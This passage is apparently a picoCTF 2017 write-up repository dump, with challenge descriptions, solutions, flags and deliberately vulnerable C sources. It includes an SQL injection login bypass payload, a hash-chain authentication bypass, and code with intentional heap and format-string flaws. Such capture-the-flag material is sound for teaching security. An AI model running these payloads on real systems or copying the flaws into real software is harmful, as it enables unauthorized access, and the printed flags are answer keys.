Is there an option to change the length of what strings considers as valid? 10 | 11 | ### Solution 12 | 13 | Running `strings` on the file will give us a lot of gibberish, but not a reference to a flag: 14 | 15 | ``` 16 | $ strings yarn 17 | /lib/ld-linux.so.2 18 | U^TR 19 | libc.so.6 20 | _IO_stdin_used 21 | putchar 22 | __libc_start_main 23 | __gmon_start__ 24 | GLIBC_2.0 25 | PTRh 26 | [^_] 27 | ;*2$"( 28 | GCC: (Debian 4.9.2-10) 4.9.2 29 | GCC: (Debian 4.8.4-1) 4.8.4 30 | .symtab 31 | .strtab 32 | .shstrtab 33 | .interp 34 | .note.ABI-tag 35 | .note.gnu.build-id 36 | .gnu.hash 37 | .dynsym 38 | .dynstr 39 | .gnu.version 40 | .gnu.version_r 41 | .rel.dyn 42 | ... 43 | ``` 44 | 45 | As suggested we can change the minimum string length, which default is 4. In the middle of the listing we can notice something peculiar: 46 | 47 | ``` 48 | $ strings -3 yarn 49 | ... 50 | D$4 51 | [^_] 52 | Sub 53 | mit 54 | _me 55 | _fo 56 | r_I 57 | _am 58 | _th 59 | e_f 60 | lag 61 | ;*2$"( 62 | GCC: (Debian 4.9.2-10) 4.9.2 63 | GCC: (Debian 4.8.4-1) 4.8.4 64 | .symtab 65 | ... 66 | ``` 67 | 68 | The flag is stored chunked in three characters in different positions of memory. Join them to get the flag. 69 | 70 | ### Flag 71 | ``` 72 | Submit_me_for_I_am_the_flag 73 | ``` -------------------------------------------------------------------------------- /level-2/misc/yarn/data/yarn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-2/misc/yarn/data/yarn -------------------------------------------------------------------------------- /level-2/reverse-engineering/a-thing-called-stack/README.md: -------------------------------------------------------------------------------- 1 | # A Thing Called Stack 2 | ## level 2 - reverse engineering - 60 points 3 | 4 | ### Description 5 | > A friend was stacking dinner plates, and handed you [this](./data/assembly.s), saying something about a "stack". Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df 6 | 7 | ### Hints 8 | > * Where is the return address saved on the stack? 9 | > * Which commands actually affect the stack? 10 | 11 | ### Solution 12 | 13 | Here we have a snippet of assembly code, our objective is retrieve the offset of `esp` register (stack pointer) at the end of the function. 14 | 15 | Assuming we are working on a 32 bit system we know every register is 4 byte long, so every `pushl` will add `0x4` to the `esp`, so at the end of line 6 the offset will be `0x10`. 16 | 17 | The next instruction is a subtraction: we have to subtract the value `0xf8` to the stack pointer. We know that the stack grow towards lower address, so actually we have to add `0xf8` to the offset. The final offset will be `0x108`. 18 | 19 | Next `movl` instructions will not modify the stack pointer in any way, so we can ignore them. The final stack offset will be `0x108`. 20 | 21 | ### Flag 22 | ``` 23 | 0x108 24 | ``` -------------------------------------------------------------------------------- /level-2/reverse-engineering/a-thing-called-stack/data/assembly.s: -------------------------------------------------------------------------------- 1 | foo: 2 | pushl %ebp 3 | mov %esp, %ebp 4 | pushl %edi 5 | pushl %esi 6 | pushl %ebx 7 | sub $0xf8, %esp 8 | movl $0x1, (%esp) 9 | movl $0x2, 0x4(%esp) 10 | movl $0x3, 0x8(%esp) 11 | movl $0x4, 0xc(%esp) 12 | -------------------------------------------------------------------------------- /level-2/reverse-engineering/programmers-assemble/README.md: -------------------------------------------------------------------------------- 1 | # Programmers Assemble 2 | ## level 2 - reverse engineering - 75 points 3 | 4 | ### Description 5 | > You found a text [file](./data/assembly.s) with some really low level code. Some value at the beginning has been X'ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df 6 | 7 | ### Hints 8 | > * All of the commands can be found [here](https://en.wikipedia.org/wiki/X86_assembly_language) along with what they do. 9 | > * It may be useful to be able to run the code, with test values. 10 | 11 | ### Solution 12 | 13 | Like the previous challenge we have to analyze an assembly file. We have to fill the `XXXXXXX` in line 4 to reach the `good` function. If we take a look at the `loop` function we can extract that it increase `%ebx` registry by `%ecx`, that is `0x6` (as assigned in line 6), then decrement `%eax` and check if it's zero. If the condition is true jump to `fin` and check if `%ebx` is exactly `0x553a`. If it's true jump to the `good` ending. 14 | 15 | We can summarize that instructions in `loop` function are a simply multiplication, assigning to `%ebx` the result of the multiplication between `%ecx` and `%eax`. We know that `%eax` must be `0x533a` to get the `good` ending, so we can reverse the formula and extract `%eax`. Divide `0x533a` by `0x6` (21.306 by 6 in decimal) and we have `0xddf`, that's the flag. 16 | 17 | ### Flag 18 | ``` 19 | 0xddf 20 | ``` -------------------------------------------------------------------------------- /level-2/reverse-engineering/programmers-assemble/data/assembly.s: -------------------------------------------------------------------------------- 1 | .global main 2 | 3 | main: 4 | mov $XXXXXXX, %eax 5 | mov $0, %ebx 6 | mov $0x6, %ecx 7 | loop: 8 | test %eax, %eax 9 | jz fin 10 | add %ecx, %ebx 11 | dec %eax 12 | jmp loop 13 | fin: 14 | cmp $0x533a, %ebx 15 | je good 16 | mov $0, %eax 17 | jmp end 18 | good: 19 | mov $1, %eax 20 | end: 21 | ret 22 | -------------------------------------------------------------------------------- /level-2/web-exploitation/my-first-sql/README.md: -------------------------------------------------------------------------------- 1 | # My First SQL 2 | ## level 2 - web exploitation - 50 points 3 | 4 | ### Description 5 | > I really need access to [website](http://shell2017.picoctf.com:58553/), but I forgot my password and there is no reset. Can you help? 6 | 7 | ### Hints 8 | > * Have you heard about SQL injection? 9 | 10 | ### Solution 11 | 12 | Clearly, as the title says, we have to use SQL injection. We can guess that username can be `admin` or `administrator` and we can get the structure of the query triggering an error sending a single quote as username. This will be the error message: 13 | 14 | ```sql 15 | select * from users where user = ''' and pass = ''; 16 | ``` 17 | 18 | So the executable simply concatenate strings to query without an validation. With previous supposition we can send `admin` as username and `' or 1 = 1 --` as password and this query will be executed: 19 | 20 | ```sql 21 | select * from users where user = 'admin' and pass = '' or 1 = 1 --'; 22 | ``` 23 | 24 | Bypanssing completly password check. A message with the flag will notice us of successful injection. 25 | 26 | ### Flag 27 | ``` 28 | be_careful_what_you_let_people_ask_6a69724d2883354dfb842c71fd992d87 29 | ``` -------------------------------------------------------------------------------- /level-3/binary-exploitation/chat-logger/data/chat-logger: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-3/binary-exploitation/chat-logger/data/chat-logger -------------------------------------------------------------------------------- /level-3/binary-exploitation/chat-logger/data/server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define NUM_ROOMS 10 9 | 10 | typedef struct chat_message* chat_message_t; 11 | 12 | struct chat_message { 13 | uint64_t uid; 14 | size_t length; 15 | char *text; 16 | chat_message_t prev; 17 | }; 18 | 19 | chat_message_t rooms[NUM_ROOMS]; 20 | 21 | void *xmalloc(size_t bytes) { 22 | void *ret = malloc(bytes); 23 | if (!ret) { 24 | perror("xmalloc"); 25 | exit(1); 26 | } 27 | return ret; 28 | } 29 | 30 | void *xrealloc(void *old, size_t bytes) { 31 | void *ret = realloc(old, bytes); 32 | if (!ret) { 33 | perror("xrealloc"); 34 | exit(1); 35 | } 36 | return ret; 37 | } 38 | 39 | size_t normalize_size(size_t length) { 40 | return (length + 7) / 8 * 8; 41 | } 42 | 43 | void message_add_status(chat_message_t msg, char status) { 44 | msg->text[0] = status; 45 | msg->text[1] = '\t'; 46 | } 47 | 48 | char message_status(chat_message_t msg) { 49 | return msg->text[0]; 50 | } 51 | 52 | void update_message(chat_message_t msg, char *new_text) { 53 | size_t len = strlen(new_text) + 1; 54 | if (len > msg->length) { 55 | msg->text = xrealloc(msg->text, normalize_size(len)); 56 | } 57 | strncpy(msg->text+2, new_text, len); 58 | message_add_status(msg, '*'); 59 | } 60 | 61 | chat_message_t new_message(chat_message_t prev, uint64_t uid, size_t length) { 62 | chat_message_t msg = xmalloc(sizeof(struct chat_message)); 63 | length = normalize_size(length); 64 | msg->text = xmalloc(length); 65 | msg->uid = uid; 66 | msg->length = length; 67 | msg->prev = prev; 68 | message_add_status(msg, ' '); 69 | 70 | return msg; 71 | } 72 | 73 | chat_message_t make_message(chat_message_t prev, uint64_t uid, char *text) { 74 | size_t length = strlen(text) + 1; 75 | chat_message_t msg = new_message(prev, uid, length+2); 76 | strncpy(msg->text+2, text, length); 77 | 78 | return msg; 79 | } 80 | 81 | void add_message_after(chat_message_t cur, uint64_t uid, char *text) { 82 | chat_message_t msg = make_message(cur->prev, cur->uid, text); 83 | char *new_text = msg->text; 84 | msg->text = cur->text; 85 | 86 | cur->text = new_text; 87 | cur->uid = uid; 88 | cur->prev = msg; 89 | } 90 | 91 | chat_message_t load_messages(chat_message_t orig, FILE *file) { 92 | char buf[1024]; 93 | uint64_t uid; 94 | int nscan; 95 | chat_message_t cur = orig; 96 | while ((nscan = fscanf(file, "%" SCNu64 " %1024[^\n]", &uid, buf)) != -1) { 97 | if (nscan != 2) continue; 98 | cur = make_message(cur, uid, buf); 99 | } 100 | return cur; 101 | } 102 | 103 | chat_message_t find_message(chat_message_t chat, char *needle) { 104 | if (!chat || !needle) return NULL; 105 | if (strstr(chat->text, needle)) return chat; 106 | return find_message(chat->prev, needle); 107 | } 108 | 109 | void print_message(chat_message_t msg) { 110 | if (msg) { 111 | printf("%10" PRIu64 " %s\n", msg->uid, msg->text); 112 | } 113 | } 114 | 115 | void print_messages(chat_message_t chat, size_t limit) { 116 | if (!chat || !limit) return; 117 | print_messages(chat->prev, limit-1); 118 | print_message(chat); 119 | } 120 | 121 | void load_all_messages() { 122 | for (size_t room = 0; room < NUM_ROOMS; ++room) { 123 | char room_name[32]; 124 | rooms[room] = NULL; 125 | snprintf(room_name, 32, "room.%zu.log", room); 126 | FILE *f = fopen(room_name, "r"); 127 | if (f) { 128 | rooms[room] = load_messages(rooms[room], f); 129 | fclose(f); 130 | } 131 | } 132 | } 133 | 134 | bool ends_in_newline(char *buf) { 135 | return !!strchr(buf, '\n'); 136 | } 137 | 138 | int readline(char *buf, size_t length) { 139 | printf("> "); 140 | char *result = fgets(buf, length, stdin); 141 | if (result != NULL && !ends_in_newline(buf) && !feof(stdin)) { 142 | do { 143 | result = fgets(buf, length, stdin); 144 | } while (result != NULL && !ends_in_newline(buf)); 145 | printf("Line too long\n"); 146 | return result == NULL ? -1 : 0; 147 | } 148 | if (result == NULL) { 149 | return -1; 150 | } 151 | char *newline = strchr(buf, '\n'); 152 | if (newline != NULL) { 153 | *newline = '\0'; 154 | } 155 | return strlen(result); 156 | } 157 | 158 | void print_commands() { 159 | printf( 160 | "Commands:\n" 161 | "\tchat print out a conversation\n" 162 | "\tfind find a message\n" 163 | "\tedit edit the most recently found message\n" 164 | "\tadd add a message after the most recently found message\n" 165 | "\tquit exit\n" 166 | ); 167 | } 168 | 169 | void sh_loop() { 170 | char line[256]; 171 | chat_message_t msg = NULL; 172 | int line_length; 173 | while ((line_length = readline(line, 256)) != -1) { 174 | if (line_length == 0) continue; 175 | char *command = strtok(line, " "); 176 | if (!strcmp(command, "quit")) { 177 | break; 178 | } else if (!strcmp(command, "help")) { 179 | print_commands(); 180 | } else if (!strcmp(command, "chat")) { 181 | uint64_t id = strtoul(strtok(NULL, " "), NULL, 10); 182 | if (1 <= id && id <= NUM_ROOMS) { 183 | print_messages(rooms[id-1], 50); 184 | } else { 185 | printf("Invalid conversation id.\n"); 186 | } 187 | } else if (!strcmp(command, "find")) { 188 | uint64_t id = strtoul(strtok(NULL, " "), NULL, 10); 189 | char *needle = strtok(NULL, ""); 190 | if (1 <= id && id <= NUM_ROOMS) { 191 | msg = find_message(rooms[id-1], needle); 192 | print_message(msg); 193 | } else { 194 | printf("Invalid conversation id.\n"); 195 | } 196 | } else if (!msg) { 197 | printf("You need to find a message first.\n"); 198 | } else if (!strcmp(command, "add")) { 199 | uint64_t uid = strtoul(strtok(NULL, " "), NULL, 10); 200 | char *text = strtok(NULL, ""); 201 | if (text) { 202 | add_message_after(msg, uid, text); 203 | printf("Message added.\n"); 204 | } else { 205 | printf("Invalid message text.\n"); 206 | } 207 | } else if (!strcmp(command, "edit")) { 208 | char *text = strtok(NULL, ""); 209 | if (text) { 210 | update_message(msg, text); 211 | printf("Message edited.\n"); 212 | } else { 213 | printf("Invalid message text.\n"); 214 | } 215 | } 216 | } 217 | } 218 | 219 | int main(int argc, char **argv) { 220 | setbuf(stdout, NULL); 221 | load_all_messages(); 222 | printf("Welcome to the chat logs.\nType \"help\" for a command listing.\n"); 223 | sh_loop(); 224 | } 225 | -------------------------------------------------------------------------------- /level-3/binary-exploitation/config-console/README.md: -------------------------------------------------------------------------------- 1 | # Config Console 2 | ## level 3 - binary exploitation - 125 points 3 | 4 | ### Description 5 | > In order to configure the login messsage for all the users on the system, you've been given access to a configuration console. See if you can get a shell on shell2017.picoctf.com:45115. [console](./data/console) [Source](./data/config-console.c) 6 | 7 | ### Hints 8 | > * You can either see where libc is or modify the execution. Is there a way to get the vulnerability to run twice so that you can do both? 9 | > * There's a place in libc that will give you a shell as soon as you jump to it. Try looking for execve. 10 | 11 | ### Solution -------------------------------------------------------------------------------- /level-3/binary-exploitation/config-console/data/config-console.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | FILE *log_file; 9 | 10 | void append_command(char type, char *data) { 11 | fprintf(log_file, "%c %s\n", type, data); 12 | } 13 | 14 | void set_login_message(char *message) { 15 | if (!message) { 16 | printf("No message chosen\n"); 17 | exit(1); 18 | } 19 | printf("Login message set!\n%s\n", message); 20 | 21 | append_command('l', message); 22 | exit(0); 23 | } 24 | 25 | void set_exit_message(char *message) { 26 | if (!message) { 27 | printf("No message chosen\n"); 28 | exit(1); 29 | } 30 | printf("Exit message set!\n"); 31 | printf(message); 32 | 33 | append_command('e', message); 34 | exit(0); 35 | } 36 | 37 | void set_prompt(char *prompt) { 38 | if (!prompt) { 39 | printf("No prompt chosen\n"); 40 | exit(1); 41 | } 42 | if (strlen(prompt) > 10) { 43 | printf("Prompt too long\n"); 44 | exit(1); 45 | } 46 | printf("Login prompt set to: %10s\n", prompt); 47 | 48 | append_command('p', prompt); 49 | exit(0); 50 | } 51 | 52 | void print_help() { 53 | printf( 54 | "You can:\n" 55 | " login set the login message\n" 56 | " exit set the exit message\n" 57 | " prompt set the command prompt\n" 58 | ); 59 | } 60 | 61 | void loop() { 62 | char buf[1024]; 63 | while (true) { 64 | printf("Config action: "); 65 | char *result = fgets(buf, 1024, stdin); 66 | if (!result) exit(1); 67 | char *type = strtok(result, " "); 68 | if (type == NULL) { 69 | continue; 70 | } 71 | char *arg = strtok(NULL, "\n"); 72 | switch (type[0]) { 73 | case 'l': 74 | set_login_message(arg); 75 | break; 76 | case 'e': 77 | set_exit_message(arg); 78 | break; 79 | case 'p': 80 | set_prompt(arg); 81 | break; 82 | default: 83 | printf("Command unrecognized.\n"); 84 | /* Fallthrough */ 85 | case 'h': 86 | print_help(); 87 | break; 88 | } 89 | } 90 | } 91 | 92 | int main(int argc, char **argv) { 93 | if (argc != 2) { 94 | fprintf(stderr, "Requires log file\n"); 95 | return 1; 96 | } 97 | log_file = fopen(argv[1], "a"); 98 | 99 | setbuf(stdout, NULL); 100 | loop(); 101 | return 0; 102 | } 103 | -------------------------------------------------------------------------------- /level-3/binary-exploitation/config-console/data/console: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-3/binary-exploitation/config-console/data/console -------------------------------------------------------------------------------- /level-3/cryptography/broadcast/README.md: -------------------------------------------------------------------------------- 1 | # Broadcast 2 | ## level 3 - cryptography - 120 points 3 | 4 | ### Description 5 | > You stumbled upon a group [Message](./data/clue.txt). Can you figure out what they were sending? The string sent is ascii encoded as a hex number (submit the ascii string as the flag) 6 | 7 | ### Hints 8 | > * The same message, with a small exponent, is being encrypted with several different n values 9 | 10 | ### Solution -------------------------------------------------------------------------------- /level-3/cryptography/broadcast/data/clue.txt: -------------------------------------------------------------------------------- 1 | e = 3 2 | c1 = 261345950255088824199206969589297492768083568554363001807292202086148198406422015406837306712350185001004539557263392747990052517553733793783164539246862722846027251864430884218012651143187891041767278036834613455255679627575565220404720823343734717216496823882624775291829042065791328110144692179931720656184 3 | n1 = 1001191535967882284769094654562963158339094991366537360172618359025855097846977704928598237040115495676223744383629803332394884046043603063054821999994629411352862317941517957323746992871914047324555019615398720677218748535278252779545622933662625193622517947605928420931496443792865516592262228294965047903627 4 | c2 = 147535246350781145803699087910221608128508531245679654307942476916759248177533099119747011361428805549054451656981174660189536226806378907786889467354024644240879320253207532952949102143188764785409228498939338911381114763011074430123706304767125057179745262429033988355639559021251950099792930724833562784673 5 | n2 = 405864605704280029572517043538873770190562953923346989456102827133294619540434679181357855400199671537151039095796094162418263148474324455458511633891792967156338297585653540910958574924436510557629146762715107527852413979916669819333765187674010542434580990241759130158992365304284892615408513239024879592309 6 | c3 = 633230627388596886579908367739501184580838393691617645602928172655297372011548865034935604403952733958738640693591337661775300212965321256493515985362225064130164637923136989033908516462412694733923594235845265750167194852656423103420952926986457914303614556562367709542082728589329045460298763797973333272805 7 | n3 = 1204664380009414697639782865058772653140636684336678901863196025928054706723976869222235722439176825580211657044153004521482757717615318907205106770256270292154250168657084197056536811063984234635803887040926920542363612936352393496049379544437329226857538524494283148837536712608224655107228808472106636903723 8 | -------------------------------------------------------------------------------- /level-3/cryptography/hashchain/README.md: -------------------------------------------------------------------------------- 1 | # HashChain 2 | ## level 3 - cryptography - 90 points 3 | 4 | ### Description 5 | > We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? [hcexample.py](./data/hcexample.py) has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:47404! 6 | 7 | ### Hints 8 | > * Connect from the shell with nc. Read up on how Hash Chains work and try to identify what could make this cryptosystem weak. 9 | 10 | ### Solution 11 | 12 | An hash chain is a function that hashes *n* times the same input. Use `nc` to connect to `shell2017.picoctf.com:47404`: 13 | 14 | ``` 15 | $ nc shell2017.picoctf.com 47404 16 | 17 | ******************************************* 18 | *** FlagKeeper 1.1 *** 19 | * now with HASHCHAIN AUTHENTICATION! XD * 20 | ******************************************* 21 | 22 | Would you like to register(r) or get flag(f)? 23 | 24 | r/f? 25 | ``` 26 | 27 | Choosing `r` give you your ID and ask for the hash before to validate: 28 | 29 | ``` 30 | Hello new user! Your ID is now 1112 and your assigned hashchain seed is 20d135f0f28185b84a4cf7aa51f29500 31 | Please validate your new ID by sending the hash before this one in your hashchain (it will hash to the one I give you): 32 | b7793b04ca5185eacd338d0c6660cf0b 33 | ``` 34 | 35 | They give us our ID, the seed and the final hash, which we have to find the previous one. An important thing to notice is that `md5(ID) == seed`, in this case `md5(1112) == 20d135f0f28185b84a4cf7aa51f29500`, it will be useful later in the challenge. We can retrieve the previous hash using a `while` cycle with Python: 36 | 37 | ```python 38 | import md5 39 | 40 | seed = '1112' 41 | input = 'b7793b04ca5185eacd338d0c6660cf0b' 42 | 43 | hashc = seed 44 | 45 | while hashc != input: 46 | hashc = md5.new(hashc).hexdigest() 47 | print hashc 48 | ``` 49 | 50 | This will be the result: 51 | 52 | ``` 53 | $ python hash-chain.py 54 | 20d135f0f28185b84a4cf7aa51f29500 55 | 109133ae45b97b8cfb20ccc6f9988430 56 | 64b03a900cb2fc4aaa16d974b625125f 57 | 28e21966e19378ab80e7a83624ccfb7d 58 | ef1f95d730ddf7bcc3fbec6e8ff16840 59 | e838d39800d77c19938b86eb2b44e914 60 | 82c9203007e01ce0180d4c0d7bc275eb 61 | 236d4f18d92aa1379f6af7067a62fe7d 62 | eaa5e682da1a02a3b8f2168bc91e5561 63 | 29fadc8785e07922d3b00376da8c142e 64 | 22b3e2387114370c37bc8c572ed989b5 65 | 814aa6c6bf5cfbf2483c1f3713b63ea3 66 | c86ca6fbf183fd560e6ee34cd6386efc 67 | a00117a52fb289141746c340b9fa69a3 68 | 6d4f66406508e7eb7217a112e0d21957 69 | 6548d388300937a246dc8f1a8989c519 70 | 29854cf9a6e88d3ff5bbf2b490ae4fc8 71 | b7793b04ca5185eacd338d0c6660cf0b 72 | ``` 73 | 74 | The second-last hash is the correct one, `29854cf9a6e88d3ff5bbf2b490ae4fc8`, and submitting to `nc` will give you a confirmation and disconnect. 75 | 76 | Connect again and choose `f`: 77 | 78 | ``` 79 | This flag only for user 48 80 | Please authenticate as user 48 81 | 03eb039829fa0577162316b9341f33ad 82 | ``` 83 | 84 | Now you have the user ID and the final hash and we now that the seed is the hash of ID, so you have to find the previous hash using the Python script. Change parameters, run it and copy the second-last hash, and it will give you this message: 85 | 86 | ``` 87 | Hello user 48! Here's the flag: 987cd68afbdf22d946461f244bc14391 88 | ``` 89 | 90 | ### Flag 91 | ``` 92 | 987cd68afbdf22d946461f244bc14391 93 | ``` 94 | -------------------------------------------------------------------------------- /level-3/cryptography/hashchain/data/hcexample.py: -------------------------------------------------------------------------------- 1 | import md5 #Must be run in python 2.7.x 2 | 3 | #code used to calculate successive hashes in a hashchain. 4 | seed = "seedhash" 5 | 6 | #this will find the 5th hash in the hashchain. This would be the correct response if prompted with the 6th hash in the hashchain 7 | hashc = seed 8 | for _ in xrange(5): 9 | hashc = md5.new(hashc).hexdigest() 10 | 11 | print hashc -------------------------------------------------------------------------------- /level-3/forensics/connect-the-wigle/README.md: -------------------------------------------------------------------------------- 1 | # Connect The Wigle 2 | ## level 3 - forensics - 140 points 3 | 4 | ### Description 5 | > Identify the data contained within [wigle](./data/wigle) and determine how to visualize it. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. 6 | 7 | ### Hints 8 | > * Perhaps they've been storing data in a database. How do we access the information? 9 | > * How can we visualize this data? Maybe we just need to take a step back to get the big picture? 10 | > * Try zero in the first word of the flag, if you think it's an O. 11 | > * If you think you're super close, make a private piazza post with what you think it is. 12 | 13 | ### Solution 14 | 15 | Download the file and check its type: 16 | 17 | ``` 18 | $ file wigle 19 | wigle: SQLite 3.x database, last written using SQLite version 3008007 20 | ``` 21 | 22 | It's a SQLite databse file, let's check what's inside: 23 | 24 | ``` 25 | sqlite3 wigle 26 | SQLite version 3.19.4 2017-08-18 19:28:12 27 | Enter ".help" for usage hints. 28 | sqlite> .tables 29 | android_metadata location network 30 | ``` 31 | 32 | We have three tables: `android_metadata` have no relevant data to plot, `network` and `location` instead have a lot of data about latitude and longitude, maybe we can plot that. This is the content of `location` table (latitude and longitude data are the same on `network` and `location`); 33 | 34 | ``` 35 | sqlite> select * from location; 36 | 0|6b:bf:fe:7f:56:ad|-85|-30.0|94.04|147.0|6.0|1490964952 37 | 1|c8:82:08:70:f3:2e|-93|-29.99|94.04|138.0|8.0|1490956968 38 | 2|9f:8e:9a:cb:9f:5d|-94|-29.98|94.04|134.0|8.0|1490956758 39 | 3|5b:ac:bb:09:f3:41|-70|-29.98|94.045|148.0|12.0|1490960063 40 | 4|1a:47:5f:1b:c9:0f|-79|-29.98|94.05|143.0|4.0|1490965978 41 | 5|a1:14:c9:f6:94:41|-82|-29.97|94.04|135.0|16.0|1490955568 42 | 6|c9:61:96:ca:43:7b|-77|-29.96|94.04|147.0|16.0|1490959478 43 | 7|16:a2:7b:e1:32:df|-72|-29.96|94.05|140.0|8.0|1490953051 44 | 8|ad:cc:f8:d1:9c:8c|-83|-29.96|94.06|139.0|12.0|1490961541 45 | 9|92:03:c5:34:7a:18|-71|-30.0|94.14|136.0|16.0|1490965714 46 | 10|e5:2d:5e:57:f6:60|-90|-29.99|94.14|143.0|6.0|1490961929 47 | 11|9b:f5:67:43:f4:bd|-93|-29.98|94.14|138.0|4.0|1490964454 48 | 12|f8:c7:f3:ab:bd:4e|-88|-29.97|94.14|134.0|8.0|1490963904 49 | 13|23:72:8e:34:89:1b|-90|-29.96|94.14|141.0|6.0|1490956302 50 | 14|ed:94:48:2a:5d:5f|-86|-29.95|94.14|140.0|12.0|1490951611 51 | 15|bf:19:ef:ec:7f:6b|-91|-30.0|94.16|147.0|6.0|1490963522 52 | 16|92:82:da:93:3a:8f|-71|-30.0|94.15|142.0|16.0|1490951546 53 | ... 54 | ``` 55 | 56 | But how we can plot them? We can use Google Maps API and plot them point by point, or we can use [Wigle](https://wigle.net/). We can't upload directly the file, instead we have to register an account, create a custom map and import data. We have to format the data before import, I used this query: 57 | 58 | ``` 59 | $ sqlite3 wigle "SELECT lat, lon, _id FROM location" | tr "|" "," 60 | -30.0,94.04,0 61 | -29.99,94.04,1 62 | -29.98,94.04,2 63 | -29.98,94.045,3 64 | -29.98,94.05,4 65 | -29.97,94.04,5 66 | -29.96,94.04,6 67 | -29.96,94.05,7 68 | -29.96,94.06,8 69 | -30.0,94.14,9 70 | ... 71 | ``` 72 | 73 | After data is imported, zoom in and you can read letters in the middle of the ocean formed by points. This is the flag. 74 | 75 | ### Flag 76 | ``` 77 | FLAG{F0UND_M3_33DE7930} 78 | ``` -------------------------------------------------------------------------------- /level-3/forensics/connect-the-wigle/data/wigle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-3/forensics/connect-the-wigle/data/wigle -------------------------------------------------------------------------------- /level-3/reverse-engineering/coffee/README.md: -------------------------------------------------------------------------------- 1 | # Coffee 2 | ## level 3 - reverse engineering - 115 points 3 | 4 | ### Description 5 | > You found a suspicious USB drive in a jar of pickles. It contains this [file](./data/freeThePickles.class) file. 6 | 7 | ### Hints 8 | > * Is there a way to get the source of the program? 9 | 10 | ### Solution 11 | 12 | Download the file, it is clearly a compiled Java class. We can confirm it with `file`: 13 | 14 | ``` 15 | $ file freeThePickles.class 16 | freeThePickles.class: compiled Java class data, version 52.0 (Java 1.8) 17 | ``` 18 | 19 | The first thing I do in every challenge is running `strings`: 20 | 21 | ``` 22 | $ strings freeThePickles.class 23 | error: /Library/Developer/CommandLineTools/usr/bin/strings: fat file: freeThePickles.class truncated or malformed (offset plus size of cputype (4590080) cpusubtype (7432) extends past the end of the file) 24 | ``` 25 | 26 | It gives me an error, so let's try to search on all file with the `-` parameter: 27 | 28 | ``` 29 | $ strings - freeThePickles.class 30 | 31 | Code 32 | LineNumberTable 33 | get_flag 34 | ()Ljava/lang/String; 35 | StackMapTable 36 | main 37 | ([Ljava/lang/String;)V 38 | SourceFile 39 | 40 | problem.java 41 | 42 | &Hint: Don't worry about the schematics 43 | eux_Z]\ayiqlog`s^hvnmwr[cpftbkjd 44 | Zf91XhR7fa=ZVH2H=QlbvdHJx5omN2xc 45 | 46 | java/lang/String 47 | 48 | Nothing to see here 49 | problem 50 | java/lang/Object 51 | getBytes 52 | ()[B 53 | java/lang/System 54 | Ljava/io/PrintStream; 55 | java/util/Base64 56 | getDecoder 57 | Decoder 58 | 59 | InnerClasses 60 | ()Ljava/util/Base64$Decoder; 61 | java/util/Base64$Decoder 62 | decode 63 | ([B)[B 64 | java/util/Arrays 65 | toString 66 | ([B)Ljava/lang/String; 67 | java/io/PrintStream 68 | println 69 | (Ljava/lang/String;)V 70 | ([B)V 71 | Zd3T 72 | ``` 73 | 74 | No success, so the next step is decompile the class, hoping it's not obfuscated. I used [this](http://www.javadecompilers.com/) service, it forces you to disable your AdBlock, but it's pretty good. This is the extracted code: 75 | 76 | ```java 77 | import java.util.Base64.Decoder; 78 | 79 | public class problem { 80 | public problem() {} 81 | 82 | public static String get_flag() { 83 | String str1 = "Hint: Don't worry about the schematics"; 84 | String str2 = "eux_Z]\\ayiqlog`s^hvnmwr[cpftbkjd"; 85 | String str3 = "Zf91XhR7fa=ZVH2H=QlbvdHJx5omN2xc"; 86 | byte[] arrayOfByte1 = str2.getBytes(); 87 | byte[] arrayOfByte2 = str3.getBytes(); 88 | byte[] arrayOfByte3 = new byte[arrayOfByte2.length]; 89 | for (int i = 0; i < arrayOfByte2.length; i++) 90 | { 91 | arrayOfByte3[i] = arrayOfByte2[(arrayOfByte1[i] - 90)]; 92 | } 93 | System.out.println(java.util.Arrays.toString(java.util.Base64.getDecoder().decode(arrayOfByte3))); 94 | return new String(java.util.Base64.getDecoder().decode(arrayOfByte3)); 95 | } 96 | 97 | public static void main(String[] paramArrayOfString) { 98 | System.out.println("Nothing to see here"); 99 | } 100 | } 101 | ``` 102 | 103 | It performs some operation on the characters of two different strings in the function `get_flag`, not called from `main`. So I decided to rewrite the code in Python and run it: 104 | 105 | ```python 106 | import base64 107 | 108 | STR1 = 'eux_Z]\\ayiqlog`s^hvnmwr[cpftbkjd' 109 | STR2 = 'Zf91XhR7fa=ZVH2H=QlbvdHJx5omN2xc' 110 | 111 | out = '' 112 | 113 | for i, c in enumerate(STR2): 114 | out += STR2[ord(STR1[i]) - 90] 115 | 116 | print base64.b64decode(out) 117 | ``` 118 | 119 | ``` 120 | $ python coffee.py 121 | flag_{pretty_cool_huh} 122 | ``` 123 | 124 | ### Flag 125 | ``` 126 | flag_{pretty_cool_huh} 127 | ``` -------------------------------------------------------------------------------- /level-3/reverse-engineering/coffee/data/freeThePickles.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavideRoss/pico-ctf-2017-writeups/4340bbc20456af1d7a68a12f5a576d4fc93ba922/level-3/reverse-engineering/coffee/data/freeThePickles.class -------------------------------------------------------------------------------- /level-3/reverse-engineering/jsut-duck-it-up/README.md: -------------------------------------------------------------------------------- 1 | # JSut Duck It Up 